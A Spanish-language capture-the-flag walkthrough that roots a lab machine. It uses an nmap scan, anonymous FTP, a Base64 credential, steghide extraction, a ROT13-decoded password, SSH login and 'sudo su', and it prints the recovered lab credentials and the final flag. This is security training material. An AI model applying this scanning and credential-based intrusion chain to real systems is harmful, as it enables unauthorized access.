Escaneo de puertos

```
nmap -p- --min-rate 5000 -sV <IP>
```

Info:

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-14 09:51 EDT
Nmap scan report for 192.168.5.130
Host is up (0.00086s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 0        0              21 Sep 21  2021 cred.txt
|_-rw-r--r--    1 0        0              86 Jun 11  2021 welcome
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.5.129
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Login
55077/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 dc:e8:ad:80:35:81:c4:29:7e:cf:e4:70:f2:69:d9:96 (RSA)
|   256 46:20:20:03:9c:97:35:f6:2d:5d:62:4a:be:6c:95:8e (ECDSA)
|_  256 ae:90:88:f6:63:8d:dc:60:fa:ff:fc:70:12:e4:f4:1f (ED25519)
MAC Address: 00:0C:29:8E:97:76 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open
and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.87 ms 192.168.5.130

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.70 seconds
```

ftp

```
ftp anonymous@<IP>
```

Info:

```
-rw-r--r--    1 0        0              21 Sep 21  2021 cred.txt
-rw-r--r--    1 0        0              86 Jun 11  2021 welcome
```

Dentro de `cred.txt` habra una Base64...

```
Y2hhbXA6cGFzc3dvcmQ=
```

Decodificado seria...

```
champ:password
```

Estas credenciales las ingresamos en el Puerto 80 en la pagina web y nos redirigira a otra pagina web...

Si le damos a la pestaña `About Us` nos descargara un download.rar, que si lo extraemos, extraera 3 archivos...

```
funny.jpg
funny.bmp
sudo
```

Si abrimos sudo nos pone...

```
Did you notice the file name? Isn't is interesting?
```

Por lo que utilizamos `steghide` para ver lo que contiene la imagen `.bmp` y utilizamos como salvoconducto la palabra `sudo`...

```
steghide extract -sf funny.bmp

#Salvoconducto
sudo
```

Nos extraera un `user.txt`...

```
jgs:guvf bar vf n fvzcyr bar
```

Descifrado...

```
wtf:this one is a simple one

User: wtf
Password: this one is a simple one
```

Entrando al `ssh` seria...

```
ssh wft@<IP> -p 55077
```

Y si hacemos `sudo -l` veremos que tenemos todos los privilegios...

```
Matching Defaults entries for wtf on wtf:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
```

```
User wtf may run the following commands on wtf:
    (ALL : ALL) ALL

sudo su
```

Ya seriamos `root`...

root.txt (flag_ultima)

```
RW5kb3JzZSBtZSBvbiBsaW5rZWRpbiA9PiBodHRwczovL3d3dy5saW5rZWRpbi5jb20vaW4vZGVlcGFrLWFoZWVyCg==

Follow me on Twitter https://www.twitter.com/Deepakhr9

TryHackMe --> https://www.tryhackme.com/p/Malwre99
Github --> https://www.github.com/Deepak-Aheer
(the flag is my LinkedIn username)


        THANK YOU for PLAYING THIS CTF

        But REMEMBER we're still N00bs ;)
```